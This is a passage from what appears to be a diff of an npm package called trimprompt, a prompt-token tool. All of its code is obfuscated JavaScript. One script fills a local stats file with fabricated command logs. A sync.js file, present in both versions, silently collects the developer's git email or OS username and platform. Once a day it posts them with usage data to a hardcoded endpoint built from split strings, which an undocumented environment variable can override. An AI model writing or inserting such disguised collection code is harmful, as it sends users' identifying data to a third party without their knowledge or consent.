0s3://trimprompt-assets/hub-index.html\x0a'+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0xcd25ff(0xe4),'comp':a0_0xcd25ff(0xeb),'exitCode':0x0},{'cmd':a0_0xcd25ff(0x105),'raw':a0_0xcd25ff(0xe7)+a0_0xcd25ff(0xf3)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0xcd25ff(0x111)+a0_0xcd25ff(0xe5),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0xcd25ff(0xfe),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0xcd25ff(0x118)+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0xcd25ff(0x116),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xea),'raw':a0_0xcd25ff(0xe3)+a0_0xcd25ff(0xf1),'comp':'git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','exitCode':0x0},{'cmd':a0_0xcd25ff(0x101),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0xcd25ff(0x10b)+'✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','comp':a0_0xcd25ff(0xf2),'exitCode':0x0}],startTime=Date[a0_0xcd25ff(0xdf)]()-0x36ee80;function a0_0xc994(_0x5c1ade,_0x246246){_0x5c1ade=_0x5c1ade-0xde;const _0x323302=a0_0x3233();let _0xc99453=_0x323302[_0x5c1ade];return _0xc99453;}for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0xcd25ff(0x106)]],commandItem=commands[Math[a0_0xcd25ff(0xec)](Math['random']()*commands[a0_0xcd25ff(0x106)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0xcd25ff(0xfc)](),log=tracker_1['tracker']['logExecution'](commandItem[a0_0xcd25ff(0x117)],commandItem[a0_0xcd25ff(0xfd)],commandItem['comp'],commandItem['exitCode']),logs=tracker_1[a0_0xcd25ff(0x10f)][a0_0xcd25ff(0x107)]();logs[a0_0xcd25ff(0x106)]>0x0&&(logs[logs[a0_0xcd25ff(0x106)]-0x1][a0_0xcd25ff(0x119)]=timestamp,require('fs')[a0_0xcd25ff(0xe8)](require(a0_0xcd25ff(0xf6))[a0_0xcd25ff(0x115)](require('os')[a0_0xcd25ff(0x102)](),a0_0xcd25ff(0xef),a0_0xcd25ff(0xed)),JSON[a0_0xcd25ff(0xf5)](logs,null,0x2),a0_0xcd25ff(0xf7)));}console[a0_0xcd25ff(0x11c)](a0_0xcd25ff(0xfb));function a0_0x3233(){const _0x231820=['139407aWoVaV','.trimprompt','repeat','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','npm\x20run\x20lint:\x20✖\x202\x20warnings','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','stringify','path','utf8','claude-3-opus','3446456sWPKMp','./tracker','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','toISOString','raw','pip\x20install\x20tensorflow\x20pandas\x20numpy','claude-3-5-sonnet','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','npm\x20run\x20lint','homedir','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','960198KKqhFc','kubectl\x20get\x20pods\x20-n\x20production','length','getLogs','2cJUOxi','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','1891840DweVnS','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','31551gGkcKy','tracker','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','248fjCUzC','28ITWLmL','cargo\x20test','join','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','cmd','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','timestamp','test\x20tests::test_case_','1703934WlXxyO','log','11734970EawFFq','gpt-4o-mini','cargo\x20test:\x2045\x20passed,\x200\x20failed.','__esModule','now','defineProperty','git\x20diff\x20main','gemini-1-5-pro','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','Completed\x203\x20of\x203\x20assets\x20successfully.','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','npm\x20install\x20lodash\x20express\x20uuid\x20react','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','writeFileSync','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','git\x20log\x20-n\x205','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','floor','stats.json'];a0_0x3233=function(){return _0x231820;};return a0_0x3233();}
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x50b377=a0_0x100d;(function(_0x3ccc2e,_0x54eb75){const _0x4aed21=a0_0x100d,_0x3cf25d=_0x3ccc2e();while(!![]){try{const _0x118efc=-parseInt(_0x4aed21(0x178))/0x1*(parseInt(_0x4aed21(0x16d))/0x2)+-parseInt(_0x4aed21(0x17c))/0x3*(-parseInt(_0x4aed21(0x183))/0x4)+-parseInt(_0x4aed21(0x157))/0x5*(parseInt(_0x4aed21(0x14d))/0x6)+-parseInt(_0x4aed21(0x16c))/0x7+parseInt(_0x4aed21(0x133))/0x8+parseInt(_0x4aed21(0x14e))/0x9+parseInt(_0x4aed21(0x14c))/0xa*(-parseInt(_0x4aed21(0x180))/0xb);if(_0x118efc===_0x54eb75)break;else _0x3cf25d['push'](_0x3cf25d['shift']());}catch(_0x1f5843){_0x3cf25d['push'](_0x3cf25d['shift']());}}}(a0_0x357d,0x57b3d));var __createBinding=this&&this['__createBinding']||(Object[a0_0x50b377(0x147)]?function(_0x579e24,_0x11a8c4,_0x50a6b0,_0x44a80c){const _0x1593aa=a0_0x50b377;if(_0x44a80c===undefined)_0x44a80c=_0x50a6b0;var _0x3cae49=Object['getOwnPropertyDescriptor'](_0x11a8c4,_0x50a6b0);(!_0x3cae49||(_0x1593aa(0x16e)in _0x3cae49?!_0x11a8c4[_0x1593aa(0x17b)]:_0x3cae49[_0x1593aa(0x169)]||_0x3cae49[_0x1593aa(0x167)]))&&(_0x3cae49={'enumerable':!![],'get':function(){return _0x11a8c4[_0x50a6b0];}}),Object[_0x1593aa(0x174)](_0x579e24,_0x44a80c,_0x3cae49);}:function(_0x2632f0,_0x124586,_0xbd1de1,_0x4dc75c){if(_0x4dc75c===undefined)_0x4dc75c=_0xbd1de1;_0x2632f0[_0x4dc75c]=_0x124586[_0xbd1de1];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x50b377(0x147)]?function(_0x24e4a6,_0x1821d5){const _0x339b83=a0_0x50b377;Object[_0x339b83(0x174)](_0x24e4a6,_0x339b83(0x13e),{'enumerable':!![],'value':_0x1821d5});}:function(_0x231cdc,_0x31a868){const _0x216831=a0_0x50b377;_0x231cdc[_0x216831(0x13e)]=_0x31a868;}),__importStar=this&&this['__importStar']||(function(){var _0x4f2da9=function(_0x377c79){const _0xb01098=a0_0x100d;return _0x4f2da9=Object[_0xb01098(0x12e)]||function(_0x4e5abe){const _0x218e8d=_0xb01098;var _0x59fa40=[];for(var _0x3b7d35 in _0x4e5abe)if(Object[_0x218e8d(0x132)]['hasOwnProperty']['call'](_0x4e5abe,_0x3b7d35))_0x59fa40[_0x59fa40[_0x218e8d(0x12d)]]=_0x3b7d35;return _0x59fa40;},_0x4f2da9(_0x377c79);};return function(_0x40e656){const _0x4290e8=a0_0x100d;if(_0x40e656&&_0x40e656[_0x4290e8(0x17b)])return _0x40e656;var _0x1b4f12={};if(_0x40e656!=null){for(var _0x45c23d=_0x4f2da9(_0x40e656),_0x488b01=0x0;_0x488b01<_0x45c23d[_0x4290e8(0x12d)];_0x488b01++)if(_0x45c23d[_0x488b01]!==_0x4290e8(0x13e))__createBinding(_0x1b4f12,_0x40e656,_0x45c23d[_0x488b01]);}return __setModuleDefault(_0x1b4f12,_0x40e656),_0x1b4f12;};}());Object[a0_0x50b377(0x174)](exports,a0_0x50b377(0x17b),{'value':!![]});function a0_0x357d(){const _0x4ae00c=['length','getOwnPropertyNames','utf8','filter','parse','prototype','5055512eSxarp','.raw.txt','toISOString','trim','platform','input_price_1m','anonymous','protocol','startsWith','timeout','https://','default','request','writeFileSync','https','config.json','catch','GPT-4o','username','existsSync','create','homedir','split','last_sync_date','join','380610QkDKrF','30FMpjdf','5398569qNFzFB','destroy','byteLength','end','estimated_compressed_tokens','userInfo','git\x20config\x20user.email','readFileSync','port','28445sLmulP','daily_sync.json','stringify','claude-3-5-sonnet','stats.json','add','GPT-4o\x20Mini','from','includes','ignore','pipe','telemetry_url','error','timestamp','toString','statusCode','configurable','trimp-production','writable','POST','toFixed','1988476zUMnjR','974334ySqGap','get','Claude\x203.5\x20Sonnet','url','Gemini\x201.5\x20Pro','https:','http','defineProperty','pathname','model_used','logs','1XkAwLq','synced','URL','__esModule','3WGnxZr','hostname','application/json','tokens_saved','55yIMbOu','push','unlinkSync','469736YKfAwK','.trimprompt'];a0_0x357d=function(){return _0x4ae00c;};return a0_0x357d();}const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x50b377(0x173))),https=__importStar(require(a0_0x50b377(0x141))),url_1=require(a0_0x50b377(0x170)),_cfg=[a0_0x50b377(0x13d),a0_0x50b377(0x168),'.up.railway.app','/api/telemetry'][a0_0x50b377(0x14b)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x50b377(0x16f),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x50b377(0x144),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x50b377(0x15d),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x50b377(0x171),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path['join'](os[a0_0x50b377(0x148)](),a0_0x50b377(0x184)),configPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x142)),statsPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x15b)),dailySyncPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x158));function getTodayDate(){const _0x3b5654=a0_0x50b377;return new Date()['toISOString']()[_0x3b5654(0x149)]('T')[0x0];}function getDeveloperIdentity(){const _0x2952d4=a0_0x50b377;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x47151e}=require('child_process'),_0x4108d5=_0x47151e(_0x2952d4(0x154),{'stdio':[_0x2952d4(0x160),_0x2952d4(0x161),_0x2952d4(0x160)]})[_0x2952d4(0x165)]()[_0x2952d4(0x136)]();if(_0x4108d5&&_0x4108d5[_0x2952d4(0x15f)]('@'))return _0x4108d5;}catch{}try{const _0x9b94ca=os[_0x2952d4(0x153)]()[_0x2952d4(0x145)];if(_0x9b94ca)return _0x9b94ca;}catch{}return _0x2952d4(0x139);}function hasAlreadySyncedToday(){const _0x1f69ac=a0_0x50b377;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x496f9d=JSON[_0x1f69ac(0x131)](fs[_0x1f69ac(0x155)](dailySyncPath,'utf8'));return _0x496f9d[_0x1f69ac(0x14a)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x48edf8=a0_0x50b377;try{const _0x4dc556={'last_sync_date':getTodayDate()};fs[_0x48edf8(0x140)](dailySyncPath,JSON[_0x48edf8(0x159)](_0x4dc556,null,0x2),_0x48edf8(0x12f));}catch{}}function postTelemetry(_0x17cd4a,_0x3e7a2a){return new Promise(_0x5b6261=>{const _0x3deff4=a0_0x100d;try{const _0x354349=new url_1[(_0x3deff4(0x17a))](_0x17cd4a),_0x36a432=JSON[_0x3deff4(0x159)](_0x3e7a2a),_0x1afb18={'hostname':_0x354349[_0x3deff4(0x17d)],'port':_0x354349[_0x3deff4(0x156)]||(_0x354349['protocol']===_0x3deff4(0x172)?0x1bb:0x50),'path':_0x354349[_0x3deff4(0x175)]+_0x354349['search'],'method':_0x3deff4(0x16a),'headers':{'Content-Type':_0x3deff4(0x17e),'Content-Length':Buffer[_0x3deff4(0x150)](_0x36a432)},'timeout':0x1f40},_0x2ad0ad=_0x354349[_0x3deff4(0x13a)]===_0x3deff4(0x172)?https:http,_0x52a0bb=_0x2ad0ad[_0x3deff4(0x13f)](_0x1afb18,_0x56d16e=>{const _0xe0bdb6=_0x3deff4;_0x5b6261(!!(_0x56d16e[_0xe0bdb6(0x166)]&&_0x56d16e[_0xe0bdb6(0x166)]>=0xc8&&_0x56d16e[_0xe0bdb6(0x166)]<0x12c));});_0x52a0bb['on'](_0x3deff4(0x163),()=>_0x5b6261(![])),_0x52a0bb['on'](_0x3deff4(0x13c),()=>{const _0x106765=_0x3deff4;_0x52a0bb[_0x106765(0x14f)](),_0x5b6261(![]);}),_0x52a0bb['write'](_0x36a432),_0x52a0bb[_0x3deff4(0x151)]();}catch{_0x5b6261(![]);}});}function buildDailyPayload(_0x4b08e1){const _0x91534a=a0_0x50b377,_0xd4e563=getTodayDate(),_0x5e0778=_0x4b08e1[_0x91534a(0x130)](_0x35a6ca=>_0x35a6ca[_0x91534a(0x164)][_0x91534a(0x13b)](_0xd4e563)),_0x1a0eb=_0x5e0778['length']>0x0?_0x5e0778:_0x4b08e1;let _0x1bc68d=0x0,_0x3a1f84=0x0,_0x3e29e8=0x0,_0x32565e=0x0;const _0x4d2f1d=new Set();for(const _0x9b945 of _0x1a0eb){_0x1bc68d+=_0x9b945['estimated_raw_tokens'],_0x3a1f84+=_0x9b945[_0x91534a(0x152)],_0x3e29e8+=_0x9b945[_0x91534a(0x17f)],_0x4d2f1d[_0x91534a(0x15c)](_0x9b945[_0x91534a(0x176)]);const _0x2ada34=PRICING[_0x9b945['model_used']]||PRICING[_0x91534a(0x15a)];_0x32565e+=_0x9b945[_0x91534a(0x17f)]*_0x2ada34[_0x91534a(0x138)]/0xf4240;}const _0x25bf5f=_0x1a0eb[_0x1a0eb[_0x91534a(0x12d)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x91534a(0x137)](),'date':_0xd4e563,'executions_count':_0x1a0eb[_0x91534a(0x12d)],'total_raw_tokens':_0x1bc68d,'total_compressed_tokens':_0x3a1f84,'total_tokens_saved':_0x3e29e8,'total_money_saved_usd':parseFloat(_0x32565e[_0x91534a(0x16b)](0x6)),'models_used':Array[_0x91534a(0x15e)](_0x4d2f1d),'last_seen':_0x25bf5f?_0x25bf5f[_0x91534a(0x164)]:new Date()[_0x91534a(0x135)]()};}function a0_0x100d(_0x9b64f0,_0x40509b){_0x9b64f0=_0x9b64f0-0x12d;const _0x357d4a=a0_0x357d();let _0x100d63=_0x357d4a[_0x9b64f0];return _0x100d63;}async function runSync(){const _0x1c2880=a0_0x50b377;if(!fs['existsSync'](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2fd0f2;try{_0x2fd0f2=JSON[_0x1c2880(0x131)](fs[_0x1c2880(0x155)](statsPath,_0x1c2880(0x12f)));}catch{return;}const _0x25151d=_0x2fd0f2['filter'](_0xd86141=>!_0xd86141[_0x1c2880(0x179)]);if(_0x25151d[_0x1c2880(0x12d)]===0x0)return;const _0x206412=buildDailyPayload(_0x2fd0f2);await postTelemetry(_ep,_0x206412);let _0x26ab1b=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x26ab1b&&fs[_0x1c2880(0x146)](configPath))try{const _0x268352=JSON[_0x1c2880(0x131)](fs[_0x1c2880(0x155)](configPath,_0x1c2880(0x12f)));_0x26ab1b=_0x268352[_0x1c2880(0x162)]||'';}catch{}_0x26ab1b[_0x1c2880(0x136)]()[_0x1c2880(0x12d)]>0x0&&await postTelemetry(_0x26ab1b,_0x206412);for(const _0x302324 of _0x2fd0f2){if(!_0x302324['synced'])_0x302324[_0x1c2880(0x179)]=!![];}try{fs[_0x1c2880(0x140)](statsPath,JSON[_0x1c2880(0x159)](_0x2fd0f2,null,0x2),_0x1c2880(0x12f));}catch{}markSyncedToday(),pruneOldLogs(_0x2fd0f2);}function pruneOldLogs(_0x137e78){const _0x53a025=a0_0x50b377;try{const _0x4d202d=new Date(),_0x208ef1=new Date(_0x4d202d['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x142695=[],_0x35d717=[];for(const _0x596d03 of _0x137e78){const _0x5a8903=new Date(_0x596d03[_0x53a025(0x164)]);_0x5a8903>=_0x208ef1?_0x142695['push'](_0x596d03):_0x35d717[_0x53a025(0x181)](_0x596d03);}if(_0x35d717[_0x53a025(0x12d)]>0x0){const _0x1f1c4d=path['join'](baseDir,_0x53a025(0x177));for(const _0x463aef of _0x35d717){const _0x529b94=path[_0x53a025(0x14b)](_0x1f1c4d,_0x463aef['id']+_0x53a025(0x134)),_0x58b08b=path[_0x53a025(0x14b)](_0x1f1c4d,_0x463aef['id']+'.comp.txt');try{if(fs[_0x53a025(0x146)](_0x529b94))fs[_0x53a025(0x182)](_0x529b94);if(fs[_0x53a025(0x146)](_0x58b08b))fs['unlinkSync'](_0x58b08b);}catch{}}fs[_0x53a025(0x140)](statsPath,JSON['stringify'](_0x142695,null,0x2),_0x53a025(0x12f));}}catch{}}runSync()[a0_0x50b377(0x143)](()=>{});
1
+ 'use strict';const a0_0x321bf5=a0_0x5a06;(function(_0x5549,_0x3fe2d8){const _0x5a2b2b=a0_0x5a06,_0x20f46f=_0x5549();while(!![]){try{const _0x119d88=-parseInt(_0x5a2b2b(0x1a2))/0x1+parseInt(_0x5a2b2b(0x1b9))/0x2+parseInt(_0x5a2b2b(0x1aa))/0x3*(-parseInt(_0x5a2b2b(0x1a0))/0x4)+-parseInt(_0x5a2b2b(0x1d1))/0x5+parseInt(_0x5a2b2b(0x1ca))/0x6+-parseInt(_0x5a2b2b(0x1d3))/0x7+parseInt(_0x5a2b2b(0x1dd))/0x8;if(_0x119d88===_0x3fe2d8)break;else _0x20f46f['push'](_0x20f46f['shift']());}catch(_0x502183){_0x20f46f['push'](_0x20f46f['shift']());}}}(a0_0x2560,0x3033f));var __createBinding=this&&this[a0_0x321bf5(0x1b7)]||(Object[a0_0x321bf5(0x1a7)]?function(_0x5ae9de,_0x4ec6eb,_0x252447,_0x4d03f8){const _0x163f44=a0_0x321bf5;if(_0x4d03f8===undefined)_0x4d03f8=_0x252447;var _0x5e737e=Object[_0x163f44(0x1b4)](_0x4ec6eb,_0x252447);(!_0x5e737e||(_0x163f44(0x1d4)in _0x5e737e?!_0x4ec6eb[_0x163f44(0x1b2)]:_0x5e737e['writable']||_0x5e737e['configurable']))&&(_0x5e737e={'enumerable':!![],'get':function(){return _0x4ec6eb[_0x252447];}}),Object[_0x163f44(0x19d)](_0x5ae9de,_0x4d03f8,_0x5e737e);}:function(_0x181d9c,_0x3cf13,_0x3c1921,_0x3efce9){if(_0x3efce9===undefined)_0x3efce9=_0x3c1921;_0x181d9c[_0x3efce9]=_0x3cf13[_0x3c1921];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x321bf5(0x1a7)]?function(_0x390089,_0x2ef0a0){const _0x218084=a0_0x321bf5;Object['defineProperty'](_0x390089,_0x218084(0x1ac),{'enumerable':!![],'value':_0x2ef0a0});}:function(_0x1657c4,_0x1f7687){const _0x414275=a0_0x321bf5;_0x1657c4[_0x414275(0x1ac)]=_0x1f7687;}),__importStar=this&&this[a0_0x321bf5(0x1c7)]||(function(){var _0x3987d2=function(_0x583ebb){return _0x3987d2=Object['getOwnPropertyNames']||function(_0x280c77){const _0x36e3a0=a0_0x5a06;var _0xa2fc46=[];for(var _0x5c26c4 in _0x280c77)if(Object[_0x36e3a0(0x1cc)]['hasOwnProperty']['call'](_0x280c77,_0x5c26c4))_0xa2fc46[_0xa2fc46['length']]=_0x5c26c4;return _0xa2fc46;},_0x3987d2(_0x583ebb);};return function(_0x59fa15){const _0x1bc212=a0_0x5a06;if(_0x59fa15&&_0x59fa15['__esModule'])return _0x59fa15;var _0x66e98a={};if(_0x59fa15!=null){for(var _0x3b6e40=_0x3987d2(_0x59fa15),_0x35abfb=0x0;_0x35abfb<_0x3b6e40[_0x1bc212(0x1e4)];_0x35abfb++)if(_0x3b6e40[_0x35abfb]!=='default')__createBinding(_0x66e98a,_0x59fa15,_0x3b6e40[_0x35abfb]);}return __setModuleDefault(_0x66e98a,_0x59fa15),_0x66e98a;};}());function a0_0x2560(){const _0xfbc8e5=['get','.comp.txt','stringify','homedir','logs','anonymous','synced','claude-3-5-sonnet','hostname','3830888ASnyje','write','userInfo','daily_sync.json','https','GPT-4o','POST','length','model_used','from','/api/telemetry','request','defineProperty','telemetry_url','ignore','4pUhEcw','parse','295642ETxyGj','https://','destroy','unlinkSync','GPT-4o\x20Mini','create','writeFileSync','trimp-production','562527AWhwuw','byteLength','default','timeout','statusCode','platform','URL','child_process','__esModule','join','getOwnPropertyDescriptor','includes','.up.railway.app','__createBinding','last_sync_date','675066xoYPWF','tokens_saved','Gemini\x201.5\x20Pro','toISOString','push','toString','http','pathname','.trimprompt','.raw.txt','Claude\x203\x20Opus','readFileSync','timestamp','existsSync','__importStar','estimated_raw_tokens','protocol','1139940SjIYFW','https:','prototype','url','input_price_1m','stats.json','utf8','327385NniFmj','port','1822219flVkfw'];a0_0x2560=function(){return _0xfbc8e5;};return a0_0x2560();}Object[a0_0x321bf5(0x19d)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x321bf5(0x1bf))),https=__importStar(require(a0_0x321bf5(0x1e1))),url_1=require(a0_0x321bf5(0x1cd)),_cfg=[a0_0x321bf5(0x1a3),a0_0x321bf5(0x1a9),a0_0x321bf5(0x1b6),a0_0x321bf5(0x1e7)][a0_0x321bf5(0x1b3)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x321bf5(0x1c3),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x321bf5(0x1e2),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x321bf5(0x1a6),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x321bf5(0x1bb),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x321bf5(0x1b3)](os[a0_0x321bf5(0x1d7)](),a0_0x321bf5(0x1c1)),configPath=path['join'](baseDir,'config.json'),statsPath=path[a0_0x321bf5(0x1b3)](baseDir,a0_0x321bf5(0x1cf)),dailySyncPath=path[a0_0x321bf5(0x1b3)](baseDir,a0_0x321bf5(0x1e0));function a0_0x5a06(_0x5080e7,_0x526f6d){_0x5080e7=_0x5080e7-0x19c;const _0x2560de=a0_0x2560();let _0x5a067d=_0x2560de[_0x5080e7];return _0x5a067d;}function getTodayDate(){const _0x37bd1b=a0_0x321bf5;return new Date()[_0x37bd1b(0x1bc)]()['split']('T')[0x0];}function getDeveloperIdentity(){const _0x475748=a0_0x321bf5;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x2b6d82}=require(_0x475748(0x1b1)),_0x5c6c9c=_0x2b6d82('git\x20config\x20user.email',{'stdio':['ignore','pipe',_0x475748(0x19f)]})[_0x475748(0x1be)]()['trim']();if(_0x5c6c9c&&_0x5c6c9c[_0x475748(0x1b5)]('@'))return _0x5c6c9c;}catch{}try{const _0x26da63=os[_0x475748(0x1df)]()['username'];if(_0x26da63)return _0x26da63;}catch{}return _0x475748(0x1d9);}function hasAlreadySyncedToday(){const _0x460203=a0_0x321bf5;try{if(!fs[_0x460203(0x1c6)](dailySyncPath))return![];const _0x532608=JSON['parse'](fs[_0x460203(0x1c4)](dailySyncPath,_0x460203(0x1d0)));return _0x532608[_0x460203(0x1b8)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x4e5e80=a0_0x321bf5;try{const _0x2a80cb={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x4e5e80(0x1d6)](_0x2a80cb,null,0x2),_0x4e5e80(0x1d0));}catch{}}function postTelemetry(_0x880df6,_0x4e210f){return new Promise(_0x5d0927=>{const _0x30fffe=a0_0x5a06;try{const _0x25e9e9=new url_1[(_0x30fffe(0x1b0))](_0x880df6),_0x587185=JSON[_0x30fffe(0x1d6)](_0x4e210f),_0x3b8833={'hostname':_0x25e9e9[_0x30fffe(0x1dc)],'port':_0x25e9e9[_0x30fffe(0x1d2)]||(_0x25e9e9[_0x30fffe(0x1c9)]===_0x30fffe(0x1cb)?0x1bb:0x50),'path':_0x25e9e9[_0x30fffe(0x1c0)]+_0x25e9e9['search'],'method':_0x30fffe(0x1e3),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x30fffe(0x1ab)](_0x587185)},'timeout':0x1f40},_0x2ab865=_0x25e9e9[_0x30fffe(0x1c9)]===_0x30fffe(0x1cb)?https:http,_0x3e875d=_0x2ab865[_0x30fffe(0x19c)](_0x3b8833,_0x49103a=>{const _0x19d611=_0x30fffe;_0x5d0927(!!(_0x49103a[_0x19d611(0x1ae)]&&_0x49103a[_0x19d611(0x1ae)]>=0xc8&&_0x49103a[_0x19d611(0x1ae)]<0x12c));});_0x3e875d['on']('error',()=>_0x5d0927(![])),_0x3e875d['on'](_0x30fffe(0x1ad),()=>{const _0x427383=_0x30fffe;_0x3e875d[_0x427383(0x1a4)](),_0x5d0927(![]);}),_0x3e875d[_0x30fffe(0x1de)](_0x587185),_0x3e875d['end']();}catch{_0x5d0927(![]);}});}function buildDailyPayload(_0x3a9104){const _0x288fc=a0_0x321bf5,_0x20b61a=getTodayDate(),_0x5c1a23=_0x3a9104['filter'](_0x2cd295=>_0x2cd295[_0x288fc(0x1c5)]['startsWith'](_0x20b61a)),_0x156706=_0x5c1a23[_0x288fc(0x1e4)]>0x0?_0x5c1a23:_0x3a9104;let _0x2874f9=0x0,_0xb358d=0x0,_0x44f75c=0x0,_0x4ca712=0x0;const _0x3c566e=new Set();for(const _0x3127e9 of _0x156706){_0x2874f9+=_0x3127e9[_0x288fc(0x1c8)],_0xb358d+=_0x3127e9['estimated_compressed_tokens'],_0x44f75c+=_0x3127e9[_0x288fc(0x1ba)],_0x3c566e['add'](_0x3127e9[_0x288fc(0x1e5)]);const _0x15fdc1=PRICING[_0x3127e9[_0x288fc(0x1e5)]]||PRICING[_0x288fc(0x1db)];_0x4ca712+=_0x3127e9['tokens_saved']*_0x15fdc1[_0x288fc(0x1ce)]/0xf4240;}const 